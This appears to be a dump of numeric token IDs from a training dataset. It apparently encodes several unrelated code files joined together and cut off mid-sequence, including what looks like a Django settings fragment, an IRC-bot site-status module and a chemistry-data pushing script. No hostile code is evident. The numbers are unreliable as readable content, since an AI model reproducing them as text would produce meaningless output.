29918,
5014,
943,
1115,
518,
13,
18884,
376,
14095,
29889,
6886,
29889,
4703,
29918,
5014,
943,
29889,
8382,
613,
13,
18884,
376,
14095,
29889,
6886,
29889,
4703,
29918,
5014,
943,
29889,
3827,
613,
13,
18884,
376,
14095,
29889,
21570,
29889,
5150,
29889,
4703,
29918,
5014,
943,
29889,
5150,
613,
13,
18884,
376,
14095,
29889,
21570,
29889,
19158,
29889,
4703,
29918,
5014,
943,
29889,
19158,
613,
13,
9651,
21251,
13,
4706,
2981,
13,
1678,
2981,
13,
29962,
13,
13,
7811,
29954,
29902,
29918,
3301,
7390,
28541,
353,
376,
2083,
13269,
29918,
2754,
29889,
5652,
3146,
29889,
6214,
29908,
13,
29937,
5470,
13,
29937,
2045,
597,
2640,
29889,
19776,
574,
26555,
622,
29889,
510,
29914,
264,
29914,
29946,
29889,
29900,
29914,
999,
29914,
11027,
8484,
29503,
2129,
13,
25832,
27982,
29903,
353,
426,
13,
1678,
376,
4381,
1115,
8829,
29889,
2585,
703,
25832,
27982,
29918,
4219,
613,
2322,
543,
2490,
7201,
597,
29914,
2083,
13269,
29918,
2754,
4968,
13,
29913,
13,
25832,
27982,
29903,
3366,
4381,
3108,
3366,
1299,
6488,
2965,
29918,
16244,
29903,
3108,
353,
5852,
13,
13,
29937,
25280,
8845,
13,
29937,
2045,
597,
2640,
29889,
19776,
574,
26555,
622,
29889,
510,
29914,
264,
29914,
29946,
29889,
29900,
29914,
999,
29914,
11027,
8484,
5150,
29899,
5630,
29899,
3084,
4097,
13,
20656,
29950,
29918,
25711,
17013,
29918,
26707,
1299,
24125,
353,
518,
13,
1678,
426,
13,
4706,
376,
5813,
1115,
376,
14095,
29889,
21570,
29889,
5150,
29889,
5630,
29918,
18157,
29889,
2659,
6708,
8942,
2327,
537,
24204,
613,
13,
1678,
2981,
13,
1678,
426,
13,
4706,
376,
5813,
1115,
376,
14095,
29889,
21570,
29889,
5150,
29889,
5630,
29918,
18157,
29889,
8140,
12539,
6513,
24204,
613,
13,
1678,
2981,
13,
1678,
426,
13,
4706,
376,
5813,
1115,
376,
14095,
29889,
21570,
29889,
5150,
29889,
5630,
29918,
18157,
29889,
18877,
10048,
24204,
613,
13,
1678,
2981,
13,
1678,
426,
13,
4706,
376,
5813,
1115,
376,
14095,
29889,
21570,
29889,
5150,
29889,
5630,
29918,
18157,
29889,
29940,
25099,
10048,
24204,
613,
13,
1678,
2981,
13,
29962,
13,
13,
20656,
29950,
29918,
11889,
29918,
20387,
29931,
353,
376,
7193,
29889,
2659,
29908,
13,
13,
29937,
4623,
2133,
13,
29937,
2045,
597,
2640,
29889,
19776,
574,
26555,
622,
29889,
510,
29914,
264,
29914,
29946,
29889,
29900,
29914,
3332,
1199,
29914,
29875,
29896,
29947,
29876,
29914,
13,
29931,
19453,
29965,
10461,
29918,
16524,
353,
376,
264,
29899,
375,
29908,
13,
15307,
29918,
29999,
12413,
353,
376,
26913,
29908,
13,
17171,
29918,
29902,
29896,
29947,
29940,
353,
5852,
13,
17171,
29918,
29911,
29999,
353,
5852,
13,
13,
29937,
341,
3352,
10764,
13,
29937,
448,
2683,
2683,
2683,
2683,
9072,
29899,
13,
29937,
2045,
597,
2640,
29889,
19776,
574,
26555,
622,
29889,
510,
29914,
264,
29914,
3359,
29914,
999,
29914,
11027,
8484,
9799,
29899,
4632,
13,
17816,
2965,
29918,
4219,
353,
5591,
7959,
12975,
13,
2303,
4571,
29909,
29918,
21289,
353,
851,
29898,
25416,
29918,
9464,
847,
376,
9799,
1159,
13,
29937,
2045,
597,
2640,
29889,
19776,
574,
26555,
622,
29889,
510,
29914,
264,
29914,
3359,
29914,
999,
29914,
11027,
8484,
9799,
29899,
2271,
13,
2303,
4571,
29909,
29918,
4219,
353,
5591,
9799,
12975,
13,
23397,
29918,
7724,
29918,
1254,
1955,
10461,
353,
376,
13371,
29889,
9435,
29889,
12925,
29889,
7281,
2283,
10486,
29908,
13,
13,
29937,
13109,
7601,
1820,
1746,
1134,
13,
29937,
2045,
597,
2640,
29889,
19776,
574,
26555,
622,
29889,
510,
29914,
264,
29914,
29946,
29889,
29900,
29914,
999,
29914,
11027,
8484,
4381,
29899,
6921,
29899,
2671,
13,
23397,
29918,
20656,
29949,
29918,
3738,
27286,
353,
376,
14095,
29889,
2585,
29889,
9794,
29889,
6970,
12300,
3073,
29908,
13,
13,
29937,
9557,
29899,
5060,
29899,
4468,
13,
29937,
448,
2683,
2683,
2683,
2683,
9072,
489,
13,
29937,
9557,
29899,
5060,
29899,
4468,
448,
2045,
597,
1636,
29889,
14095,
29899,
5060,
29899,
4468,
29889,
990,
29914,
2754,
29899,
13075,
29914,
11027,
29914,
13,
1525,
1254,
29918,
29943,
4717,
2303,
11686,
29968,
353,
426,
13,
1678,
376,
23397,
29918,
20656,
29950,
3919,
28541,
29918,
6154,
3289,
1660,
29903,
1115,
313,
13,
4706,
376,
5060,
29918,
4468,
29889,
23055,
29889,
6066,
16746,
613,
13,
4706,
376,
5060,
29918,
4468,
29918,
12857,
29926,
14554,
29889,
23055,
29889,
29967,
29956,
6040,
2806,
6002,
613,
13,
1678,
10353,
13,
1678,
376,
23397,
29918,
13171,
10403,
13507,
29918,
6154,
3289,
1660,
29903,
1115,
4852,
5060,
29918,
4468,
29889,
17858,
6847,
29889,
3624,
6444,
4173,
630,
613,
511,
13,
29913,
13,
13,
29937,
9557,
29899,
29883,
943,
29899,
13662,
448,
2045,
597,
3292,
29889,
510,
29914,
328,
314,
14153,
29920,
29914,
14095,
29899,
29883,
943,
29899,
13662,
29937,
14669,
13,
29907,
24125,
29918,
4219,
29903,
29918,
1525,
1692,
29990,
353,
364,
29908,
29985,
29914,
2754,
29914,
5575,
29938,
29908,
13,
29907,
24125,
29918,
1964,
27998,
29918,
9818,
29918,
1955,
6259,
1177,
29903,
353,
5852,
13,
13,
29937,
1954,
29887,
332,
3450,
13,
7833,
29954,
4574,
29918,
27205,
3919,
29918,
1367,
353,
8829,
703,
7833,
29954,
4574,
29918,
27205,
3919,
29918,
1367,
1159,
13,
7833,
29954,
4574,
29918,
4897,
29428,
29918,
1430,
11191,
6992,
29911,
353,
8829,
703,
7833,
29954,
4574,
29918,
4897,
29428,
29918,
1430,
11191,
6992,
29911,
1159,
13,
7833,
29954,
4574,
29918,
29903,
4897,
15082,
3352,
29918,
19094,
1299,
353,
518,
13,
1678,
396,
1967,
21971,
13,
1678,
376,
3027,
29914,
2732,
613,
13,
1678,
376,
3027,
29914,
6173,
613,
13,
1678,
376,
3027,
29914,
26568,
613,
13,
1678,
396,
4863,
21971,
13,
1678,
376,
9641,
29914,
1526,
29946,
613,
13,
1678,
376,
9641,
29914,
2676,
29885,
613,
13,
1678,
376,
9641,
29914,
29916,
29899,
2922,
307,
4621,
613,
13,
1678,
376,
9641,
29914,
24561,
2230,
613,
13,
1678,
376,
9641,
29914,
29916,
29899,
1579,
29894,
613,
13,
1678,
376,
9641,
29914,
29916,
29899,
1516,
9641,
613,
13,
1678,
376,
9641,
29914,
29916,
29899,
1516,
29899,
29893,
29324,
613,
13,
1678,
376,
9641,
29914,
20856,
613,
13,
29962,
13,
13,
29937,
402,
6271,
13,
29954,
6271,
29918,
6304,
19059,
29918,
2477,
18736,
29918,
22412,
3919,
29901,
851,
353,
8829,
703,
29954,
6271,
29918,
6304,
19059,
29918,
2477,
18736,
29918,
22412,
3919,
1159,
13,
29954,
6271,
29918,
6304,
19059,
29918,
2477,
18736,
29918,
7249,
29901,
360,
919,
29961,
710,
29892,
851,
29962,
353,
4390,
29889,
18132,
29898,
29954,
6271,
29918,
6304,
19059,
29918,
2477,
18736,
29918,
22412,
3919,
29897,
13,
13,
22484,
29450,
29918,
3970,
29032,
353,
8829,
703,
22484,
29450,
29918,
3970,
29032,
1159,
13,
13,
29937,
10307,
4817,
13,
13,
29937,
1152,
5386,
13,
29937,
2045,
597,
10149,
29879,
29889,
3608,
29889,
510,
29914,
29877,
29914,
23106,
29906,
29914,
29894,
29906,
29914,
5150,
29973,
13,
29937,
6874,
29922,
991,
597,
1636,
29889,
15947,
29889,
510,
29914,
5150,
29914,
1792,
3888,
29889,
5269,
2045,
597,
1636,
29889,
15947,
29889,
510,
29914,
5150,
29914,
1792,
3888,
29889,
10185,
29987,
13,
29937,
2130,
29918,
1853,
29922,
2696,
1220,
29987,
13,
29937,
3160,
29918,
629,
9714,
29918,
21785,
267,
29922,
3009,
29987,
13,
29937,
2933,
29918,
1853,
29922,
401,
29987,
13,
29937,
6684,
29918,
5338,
29922,
17886,
29918,
5338,
29987,
13,
29937,
3132,
29918,
333,
29922,
4645,
29918,
333,
13,
13,
6156,
8426,
1964,
29918,
20656,
29950,
29918,
17080,
29949,
29954,
1307,
29918,
29949,
20656,
29950,
29906,
29918,
10818,
353,
8829,
703,
6156,
8426,
1964,
29918,
20656,
29950,
29918,
17080,
29949,
29954,
1307,
29918,
29949,
20656,
29950,
29906,
29918,
10818,
1159,
13,
6156,
8426,
1964,
29918,
20656,
29950,
29918,
17080,
29949,
29954,
1307,
29918,
29949,
20656,
29950,
29906,
29918,
1660,
22245,
29911,
353,
8829,
703,
6156,
8426,
1964,
29918,
20656,
29950,
29918,
17080,
29949,
29954,
1307,
29918,
29949,
20656,
29950,
29906,
29918,
1660,
22245,
29911,
1159,
13,
6156,
8426,
1964,
29918,
20656,
29950,
29918,
17080,
29949,
29954,
1307,
29918,
29949,
20656,
29950,
29906,
29918,
29903,
3217,
4162,
353,
518,
13,
1678,
376,
991,
597,
1636,
29889,
15947,
29889,
510,
29914,
5150,
29914,
1792,
3888,
29889,
5269,
613,
13,
1678,
376,
991,
597,
1636,
29889,
15947,
29889,
510,
29914,
5150,
29914,
1792,
3888,
29889,
10185,
613,
13,
29962,
13,
13,
13,
4590,
1430,
8851,
1299,
4448,
29918,
8787,
29918,
10818,
353,
8829,
703,
4590,
1430,
8851,
1299,
4448,
29918,
8787,
29918,
10818,
1159,
13,
28577,
7230,
8254,
29918,
5971,
29918,
8787,
29918,
10818,
353,
8829,
703,
28577,
7230,
8254,
29918,
5971,
29918,
8787,
29918,
10818,
1159,
13,
23397,
29918,
8186,
7811,
29918,
2382,
29918,
4219,
353,
8829,
703,
23397,
29918,
8186,
7811,
29918,
2382,
29918,
4219,
1159,
13,
2
] |
willie/modules/isup.py | qsantos/willie | 0 | 83128 | <gh_stars>0
# coding=utf8
"""
isup.py - Simple website status check with isup.me
Author: <NAME> http://embolalia.net
About: http://willie.dftba.net
This allows users to check if a website is up through isup.me.
"""
from __future__ import unicode_literals
from willie import web
from willie.module import commands
@commands('isup')
def isup(bot, trigger):
"""isup.me website status checker"""
site = trigger.group(2)
if not site:
return bot.reply("What site do you want to check?")
if site[:6] != 'http://' and site[:7] != 'https://':
if '://' in site:
protocol = site.split('://')[0] + '://'
return bot.reply("Try it again without the %s" % protocol)
else:
site = 'http://' + site
if not '.' in site:
site += ".com"
try:
response = web.get(site)
except Exception:
bot.say(site + ' looks down from here.')
return
if response:
bot.say(site + ' looks fine to me.')
else:
bot.say(site + ' is down from here.')
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
29937,
14137,
29922,
9420,
29947,
13,
15945,
29908,
13,
275,
786,
29889,
2272,
448,
12545,
4700,
4660,
1423,
411,
338,
786,
29889,
1004,
13,
13720,
29901,
529,
5813,
29958,
1732,
597,
1590,
324,
19627,
29889,
1212,
13,
28173,
29901,
1732,
597,
14043,
347,
29889,
29881,
615,
2291,
29889,
1212,
13,
13,
4013,
6511,
4160,
304,
1423,
565,
263,
4700,
338,
701,
1549,
338,
786,
29889,
1004,
29889,
13,
15945,
29908,
13,
3166,
4770,
29888,
9130,
1649,
1053,
29104,
29918,
20889,
1338,
13,
13,
3166,
674,
347,
1053,
1856,
13,
3166,
674,
347,
29889,
5453,
1053,
8260,
13,
13,
13,
29992,
26381,
877,
275,
786,
1495,
13,
1753,
338,
786,
29898,
7451,
29892,
7135,
1125,
13,
1678,
9995,
275,
786,
29889,
1004,
4700,
4660,
1423,
261,
15945,
29908,
13,
1678,
3268,
353,
7135,
29889,
2972,
29898,
29906,
29897,
13,
1678,
565,
451,
3268,
29901,
13,
4706,
736,
9225,
29889,
3445,
368,
703,
5618,
3268,
437,
366,
864,
304,
1423,
29973,
1159,
13,
13,
1678,
565,
3268,
7503,
29953,
29962,
2804,
525,
1124,
597,
29915,
322,
3268,
7503,
29955,
29962,
2804,
525,
991,
597,
2396,
13,
4706,
565,
525,
597,
29915,
297,
3268,
29901,
13,
9651,
9608,
353,
3268,
29889,
5451,
877,
597,
29861,
29900,
29962,
718,
525,
597,
29915,
13,
9651,
736,
9225,
29889,
3445,
368,
703,
15870,
372,
1449,
1728,
278,
1273,
29879,
29908,
1273,
9608,
29897,
13,
4706,
1683,
29901,
13,
9651,
3268,
353,
525,
1124,
597,
29915,
718,
3268,
13,
13,
1678,
565,
451,
525,
6169,
297,
3268,
29901,
13,
4706,
3268,
4619,
11393,
510,
29908,
13,
13,
1678,
1018,
29901,
13,
4706,
2933,
353,
1856,
29889,
657,
29898,
2746,
29897,
13,
1678,
5174,
8960,
29901,
13,
4706,
9225,
29889,
20834,
29898,
2746,
718,
525,
3430,
1623,
515,
1244,
29889,
1495,
13,
4706,
736,
13,
13,
1678,
565,
2933,
29901,
13,
4706,
9225,
29889,
20834,
29898,
2746,
718,
525,
3430,
2691,
304,
592,
29889,
1495,
13,
1678,
1683,
29901,
13,
4706,
9225,
29889,
20834,
29898,
2746,
718,
525,
338,
1623,
515,
1244,
29889,
1495,
13,
2
] |
autoqm/pusher.py | KEHANG/autoQM | 0 | 103899 |
# connect to registration table
# search targets to push
# 1. get all the jobs with "job_success"
# 2. check if job files are indeed there
# 3. get level of theory from job files
# 4. check if results table has this job with
# same level of theory
# launch cantherm job,
# push results to results table
# main data:
# Hf298, S298, Cp300, Cp400, Cp500
# Cp600, Cp800, Cp1000, Cp1500
#
# meta data:
# level of theory,
# timestamp
import os
import time
import shutil
import autoqm.utils
import autoqm.connector
def select_push_target(registration_table,
results_table,
success_data_path):
"""
This method is to inform job pusher which targets
to push, which need meet three requirements:
1. status is job_success
2. job files (.log and .inp) located as expected
3. results table doesn't have this job at
that level of theory
Returns a list of targets with necessary meta data
"""
reg_query = {"status":"job_success"}
targets = list(registration_table.find(reg_query))
selected_targets = []
for target in targets:
aug_inchi = str(target['aug_inchi'])
spec_name = aug_inchi.replace('/', '_slash_')
spec_path = os.path.join(success_data_path, spec_name)
log_path = os.path.join(spec_path, 'input.log')
inp_path = os.path.join(spec_path, 'input.inp')
if os.path.exists(log_path) and os.path.exists(inp_path):
level_of_theory = autoqm.utils.get_level_of_theory(inp_path)
# query results table
res_query = {"aug_inchi":aug_inchi,
"level_of_theory":level_of_theory}
res_entries = list(results_table.find(res_query))
if len(res_entries) == 0:
# means no records of this target
# in results table
selected_targets.append(target)
return selected_targets
def push_jobs(registration_table, results_table, success_data_path):
# select push targets
targets = select_push_target(registration_table,
results_table,
success_data_path)
for target in targets:
aug_inchi = str(target['aug_inchi'])
spec_name = aug_inchi.replace('/', '_slash_')
spec_path = os.path.join(success_data_path, spec_name)
inp_path = os.path.join(spec_path, 'input.inp')
model_chemistry = autoqm.utils.get_level_of_theory(inp_path)
smiles = str(target['SMILES_input'])
# run cantherm
thermo = autoqm.utils.run_cantherm(spec_path, model_chemistry, smiles)
# push to results table
Hf298 = thermo.H298.value_si/1000/4.184 # kcal/mol
S298 = thermo.S298.value_si/4.184 # cal/mol/K
Cp300 = thermo.Cpdata.value_si[0]/4.184 # cal/mol/K
Cp400 = thermo.Cpdata.value_si[1]/4.184 # cal/mol/K
Cp500 = thermo.Cpdata.value_si[2]/4.184 # cal/mol/K
Cp600 = thermo.Cpdata.value_si[3]/4.184 # cal/mol/K
Cp800 = thermo.Cpdata.value_si[4]/4.184 # cal/mol/K
Cp1000 = thermo.Cpdata.value_si[5]/4.184 # cal/mol/K
Cp1500 = thermo.Cpdata.value_si[6]/4.184 # cal/mol/K
# check results table again there's no
# same entry
res_query = {"aug_inchi":aug_inchi,
"level_of_theory":model_chemistry}
res_entries = list(results_table.find(res_query))
if len(res_entries) > 0:
continue
# do the insertion
insert_entry = {"aug_inchi" : aug_inchi,
"Hf298(kcal/mol)" : Hf298,
"S298(cal/mol/K)" : S298,
"Cp300(cal/mol/K)" : Cp300,
"Cp400(cal/mol/K)" : Cp400,
"Cp500(cal/mol/K)" : Cp500,
"Cp600(cal/mol/K)" : Cp600,
"Cp800(cal/mol/K)" : Cp800,
"Cp1000(cal/mol/K)" : Cp1000,
"Cp1500(cal/mol/K)" : Cp1500,
"timestamp" : time.time(),
"SMILES_input" : smiles,
"level_of_theory" : model_chemistry}
results_table.insert_one(insert_entry)
def run():
# get config info
config = autoqm.utils.read_config()
# connect to thermo central db
auth_info = autoqm.utils.get_TCD_authentication_info()
tcdi = autoqm.connector.ThermoCentralDatabaseInterface(*auth_info)
tcd = getattr(tcdi.client, 'thermoCentralDB')
# get registration table and result table
# and specify success job data path
pusher_reg_table = getattr(tcd, 'saturated_ringcore_table')
pusher_res_table = getattr(tcd, 'saturated_ringcore_res_table')
success_data_path = os.path.join(config['QuantumMechanicJob']['scratch_data_path'],
'success')
push_jobs(pusher_reg_table, pusher_res_table, success_data_path)
run() | [
1,
29871,
13,
29937,
4511,
304,
22583,
1591,
13,
13,
29937,
2740,
22525,
304,
5503,
13,
29937,
29871,
29896,
29889,
679,
599,
278,
17643,
411,
376,
9057,
29918,
8698,
29908,
29871,
13,
29937,
29871,
29906,
29889,
1423,
565,
4982,
2066,
526,
6200,
727,
13,
29937,
29871,
29941,
29889,
679,
3233,
310,
6368,
515,
4982,
2066,
13,
29937,
29871,
29946,
29889,
1423,
565,
2582,
1591,
756,
445,
4982,
411,
13,
29937,
1678,
1021,
3233,
310,
6368,
13,
13,
29937,
6826,
508,
721,
29885,
4982,
29892,
29871,
13,
29937,
5503,
2582,
304,
2582,
1591,
13,
29937,
1667,
848,
29901,
13,
29937,
379,
29888,
29906,
29929,
29947,
29892,
317,
29906,
29929,
29947,
29892,
315,
29886,
29941,
29900,
29900,
29892,
315,
29886,
29946,
29900,
29900,
29892,
315,
29886,
29945,
29900,
29900,
13,
29937,
315,
29886,
29953,
29900,
29900,
29892,
315,
29886,
29947,
29900,
29900,
29892,
315,
29886,
29896,
29900,
29900,
29900,
29892,
315,
29886,
29896,
29945,
29900,
29900,
13,
29937,
29871,
13,
29937,
12700,
848,
29901,
13,
29937,
3233,
310,
6368,
29892,
13,
29937,
14334,
13,
5215,
2897,
13,
5215,
931,
13,
5215,
528,
4422,
13,
13,
5215,
4469,
29939,
29885,
29889,
13239,
13,
5215,
4469,
29939,
29885,
29889,
11958,
2801,
13,
13,
13,
1753,
1831,
29918,
5910,
29918,
5182,
29898,
1727,
8306,
29918,
2371,
29892,
13,
12,
12,
12,
12,
12,
12,
9902,
29918,
2371,
29892,
13,
12,
12,
12,
12,
12,
12,
8698,
29918,
1272,
29918,
2084,
1125,
13,
12,
15945,
29908,
13,
12,
4013,
1158,
338,
304,
1871,
4982,
5503,
261,
607,
22525,
29871,
13,
12,
517,
5503,
29892,
607,
817,
5870,
2211,
11780,
29901,
13,
12,
29896,
29889,
4660,
338,
4982,
29918,
8698,
13,
12,
29906,
29889,
4982,
2066,
14544,
1188,
322,
869,
262,
29886,
29897,
5982,
408,
3806,
13,
12,
29941,
29889,
2582,
1591,
1838,
29915,
29873,
505,
445,
4982,
472,
13,
12,
259,
393,
3233,
310,
6368,
13,
13,
12,
11609,
29879,
263,
1051,
310,
22525,
411,
5181,
12700,
848,
13,
12,
15945,
29908,
13,
12,
1727,
29918,
1972,
353,
8853,
4882,
4710,
9057,
29918,
8698,
9092,
13,
12,
5182,
29879,
353,
1051,
29898,
1727,
8306,
29918,
2371,
29889,
2886,
29898,
1727,
29918,
1972,
876,
13,
13,
12,
8391,
29918,
5182,
29879,
353,
5159,
13,
12,
1454,
3646,
297,
22525,
29901,
13,
12,
12,
2987,
29918,
262,
4161,
353,
851,
29898,
5182,
1839,
2987,
29918,
262,
4161,
11287,
13,
12,
12,
6550,
29918,
978,
353,
11307,
29918,
262,
4161,
29889,
6506,
11219,
742,
22868,
17057,
29918,
1495,
13,
12,
12,
6550,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
8698,
29918,
1272,
29918,
2084,
29892,
1580,
29918,
978,
29897,
13,
12,
12,
1188,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
6550,
29918,
2084,
29892,
525,
2080,
29889,
1188,
1495,
13,
12,
12,
262,
29886,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
6550,
29918,
2084,
29892,
525,
2080,
29889,
262,
29886,
1495,
13,
12,
12,
361,
2897,
29889,
2084,
29889,
9933,
29898,
1188,
29918,
2084,
29897,
322,
2897,
29889,
2084,
29889,
9933,
29898,
262,
29886,
29918,
2084,
1125,
13,
12,
12,
12,
5563,
29918,
974,
29918,
14138,
353,
4469,
29939,
29885,
29889,
13239,
29889,
657,
29918,
5563,
29918,
974,
29918,
14138,
29898,
262,
29886,
29918,
2084,
29897,
13,
13,
12,
12,
12,
29937,
2346,
2582,
1591,
13,
12,
12,
12,
690,
29918,
1972,
353,
8853,
2987,
29918,
262,
4161,
1115,
2987,
29918,
262,
4161,
29892,
29871,
13,
12,
12,
12,
12,
12,
12,
29908,
5563,
29918,
974,
29918,
14138,
1115,
5563,
29918,
974,
29918,
14138,
29913,
13,
12,
12,
12,
690,
29918,
26586,
353,
1051,
29898,
9902,
29918,
2371,
29889,
2886,
29898,
690,
29918,
1972,
876,
13,
12,
12,
12,
361,
7431,
29898,
690,
29918,
26586,
29897,
1275,
29871,
29900,
29901,
13,
12,
12,
12,
12,
29937,
2794,
694,
6475,
310,
445,
3646,
13,
12,
12,
12,
12,
29937,
297,
2582,
1591,
13,
12,
12,
12,
12,
8391,
29918,
5182,
29879,
29889,
4397,
29898,
5182,
29897,
13,
12,
2457,
4629,
29918,
5182,
29879,
13,
13,
1753,
5503,
29918,
9057,
29879,
29898,
1727,
8306,
29918,
2371,
29892,
2582,
29918,
2371,
29892,
2551,
29918,
1272,
29918,
2084,
1125,
13,
13,
12,
29937,
1831,
5503,
22525,
13,
12,
5182,
29879,
353,
1831,
29918,
5910,
29918,
5182,
29898,
1727,
8306,
29918,
2371,
29892,
13,
12,
12,
12,
12,
12,
12,
12,
12,
9902,
29918,
2371,
29892,
13,
12,
12,
12,
12,
12,
12,
12,
12,
8698,
29918,
1272,
29918,
2084,
29897,
13,
13,
12,
1454,
3646,
297,
22525,
29901,
13,
12,
12,
2987,
29918,
262,
4161,
353,
851,
29898,
5182,
1839,
2987,
29918,
262,
4161,
11287,
13,
12,
12,
6550,
29918,
978,
353,
11307,
29918,
262,
4161,
29889,
6506,
11219,
742,
22868,
17057,
29918,
1495,
13,
12,
12,
6550,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
8698,
29918,
1272,
29918,
2084,
29892,
1580,
29918,
978,
29897,
13,
13,
12,
12,
262,
29886,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
6550,
29918,
2084,
29892,
525,
2080,
29889,
262,
29886,
1495,
13,
12,
12,
4299,
29918,
14969,
6020,
353,
4469,
29939,
29885,
29889,
13239,
29889,
657,
29918,
5563,
29918,
974,
29918,
14138,
29898,
262,
29886,
29918,
2084,
29897,
13,
13,
12,
12,
3844,
5475,
353,
851,
29898,
5182,
1839,
29903,
10403,
17101,
29918,
2080,
11287,
13,
13,
12,
12,
29937,
1065,
508,
721,
29885,
13,
12,
12,
721,
4346,
353,
4469,
29939,
29885,
29889,
13239,
29889,
3389,
29918,
3068,
721,
29885,
29898,
6550,
29918,
2084,
29892,
1904,
29918,
14969,
6020,
29892,
1560,
5475,
29897,
13,
12,
12,
13,
12,
12,
29937,
5503,
304,
2582,
1591,
13,
12,
12,
29950,
29888,
29906,
29929,
29947,
353,
14563,
29877,
29889,
29950,
29906,
29929,
29947,
29889,
1767,
29918,
1039,
29914,
29896,
29900,
29900,
29900,
29914,
29946,
29889,
29896,
29947,
29946,
29871,
396,
413,
1052,
29914,
29885,
324,
13,
12,
12,
29903,
29906,
29929,
29947,
353,
14563,
29877,
29889,
29903,
29906,
29929,
29947,
29889,
1767,
29918,
1039,
29914,
29946,
29889,
29896,
29947,
29946,
12,
12,
396,
1208,
29914,
29885,
324,
29914,
29968,
13,
12,
12,
29907,
29886,
29941,
29900,
29900,
353,
14563,
29877,
29889,
29907,
29886,
1272,
29889,
1767,
29918,
1039,
29961,
29900,
16261,
29946,
29889,
29896,
29947,
29946,
29871,
396,
1208,
29914,
29885,
324,
29914,
29968,
13,
12,
12,
29907,
29886,
29946,
29900,
29900,
353,
14563,
29877,
29889,
29907,
29886,
1272,
29889,
1767,
29918,
1039,
29961,
29896,
16261,
29946,
29889,
29896,
29947,
29946,
29871,
396,
1208,
29914,
29885,
324,
29914,
29968,
13,
12,
12,
29907,
29886,
29945,
29900,
29900,
353,
14563,
29877,
29889,
29907,
29886,
1272,
29889,
1767,
29918,
1039,
29961,
29906,
16261,
29946,
29889,
29896,
29947,
29946,
29871,
396,
1208,
29914,
29885,
324,
29914,
29968,
13,
12,
12,
29907,
29886,
29953,
29900,
29900,
353,
14563,
29877,
29889,
29907,
29886,
1272,
29889,
1767,
29918,
1039,
29961,
29941,
16261,
29946,
29889,
29896,
29947,
29946,
29871,
396,
1208,
29914,
29885,
324,
29914,
29968,
13,
12,
12,
29907,
29886,
29947,
29900,
29900,
353,
14563,
29877,
29889,
29907,
29886,
1272,
29889,
1767,
29918,
1039,
29961,
29946,
16261,
29946,
29889,
29896,
29947,
29946,
29871,
396,
1208,
29914,
29885,
324,
29914,
29968,
13,
12,
12,
29907,
29886,
29896,
29900,
29900,
29900,
353,
14563,
29877,
29889,
29907,
29886,
1272,
29889,
1767,
29918,
1039,
29961,
29945,
16261,
29946,
29889,
29896,
29947,
29946,
396,
1208,
29914,
29885,
324,
29914,
29968,
13,
12,
12,
29907,
29886,
29896,
29945,
29900,
29900,
353,
14563,
29877,
29889,
29907,
29886,
1272,
29889,
1767,
29918,
1039,
29961,
29953,
16261,
29946,
29889,
29896,
29947,
29946,
396,
1208,
29914,
29885,
324,
29914,
29968,
13,
13,
12,
12,
29937,
1423,
2582,
1591,
1449,
727,
29915,
29879,
694,
13,
12,
12,
29937,
1021,
6251,
13,
12,
12,
690,
29918,
1972,
353,
8853,
2987,
29918,
262,
4161,
1115,
2987,
29918,
262,
4161,
29892,
29871,
13,
12,
12,
12,
12,
12,
29908,
5563,
29918,
974,
29918,
14138,
1115,
4299,
29918,
14969,
6020,
29913,
13,
12,
12,
690,
29918,
26586,
353,
1051,
29898,
9902,
29918,
2371,
29889,
2886,
29898,
690,
29918,
1972,
876,
13,
12,
12,
13,
12,
12,
361,
7431,
29898,
690,
29918,
26586,
29897,
1405,
29871,
29900,
29901,
13,
12,
12,
12,
19878,
13,
13,
12,
12,
29937,
437,
278,
4635,
291,
13,
12,
12,
7851,
29918,
8269,
353,
8853,
2987,
29918,
262,
4161,
29908,
584,
11307,
29918,
262,
4161,
29892,
29871,
13,
12,
12,
12,
12,
12,
12,
29908,
29950,
29888,
29906,
29929,
29947,
29898,
29895,
1052,
29914,
29885,
324,
5513,
584,
379,
29888,
29906,
29929,
29947,
29892,
29871,
13,
12,
12,
12,
12,
12,
12,
29908,
29903,
29906,
29929,
29947,
29898,
1052,
29914,
29885,
324,
29914,
29968,
5513,
584,
317,
29906,
29929,
29947,
29892,
29871,
13,
12,
12,
12,
12,
12,
12,
29908,
29907,
29886,
29941,
29900,
29900,
29898,
1052,
29914,
29885,
324,
29914,
29968,
5513,
584,
315,
29886,
29941,
29900,
29900,
29892,
29871,
13,
12,
12,
12,
12,
12,
12,
29908,
29907,
29886,
29946,
29900,
29900,
29898,
1052,
29914,
29885,
324,
29914,
29968,
5513,
584,
315,
29886,
29946,
29900,
29900,
29892,
29871,
13,
12,
12,
12,
12,
12,
12,
29908,
29907,
29886,
29945,
29900,
29900,
29898,
1052,
29914,
29885,
324,
29914,
29968,
5513,
584,
315,
29886,
29945,
29900,
29900,
29892,
29871,
13,
12,
12,
12,
12,
12,
12,
29908,
29907,
29886,
29953,
29900,
29900,
29898,
1052,
29914,
29885,
324,
29914,
29968,
5513,
584,
315,
29886,
29953,
29900,
29900,
29892,
29871,
13,
12,
12,
12,
12,
12,
12,
29908,
29907,
29886,
29947,
29900,
29900,
29898,
1052,
29914,
29885,
324,
29914,
29968,
5513,
584,
315,
29886,
29947,
29900,
29900,
29892,
29871,
13,
12,
12,
12,
12,
12,
12,
29908,
29907,
29886,
29896,
29900,
29900,
29900,
29898,
1052,
29914,
29885,
324,
29914,
29968,
5513,
584,
315,
29886,
29896,
29900,
29900,
29900,
29892,
29871,
13,
12,
12,
12,
12,
12,
12,
29908,
29907,
29886,
29896,
29945,
29900,
29900,
29898,
1052,
29914,
29885,
324,
29914,
29968,
5513,
584,
315,
29886,
29896,
29945,
29900,
29900,
29892,
29871,
13,
12,
12,
12,
12,
12,
12,
29908,
16394,
29908,
584,
931,
29889,
2230,
3285,
29871,
13,
12,
12,
12,
12,
12,
12,
29908,
29903,
10403,
17101,
29918,
2080,
29908,
584,
1560,
5475,
29892,
29871,
13,
12,
12,
12,
12,
12,
12,
29908,
5563,
29918,
974,
29918,
14138,
29908,
584,
1904,
29918,
14969,
6020,
29913,
13,
13,
12,
12,
9902,
29918,
2371,
29889,
7851,
29918,
650,
29898,
7851,
29918,
8269,
29897,
13,
13,
13,
1753,
1065,
7295,
13,
12,
29937,
679,
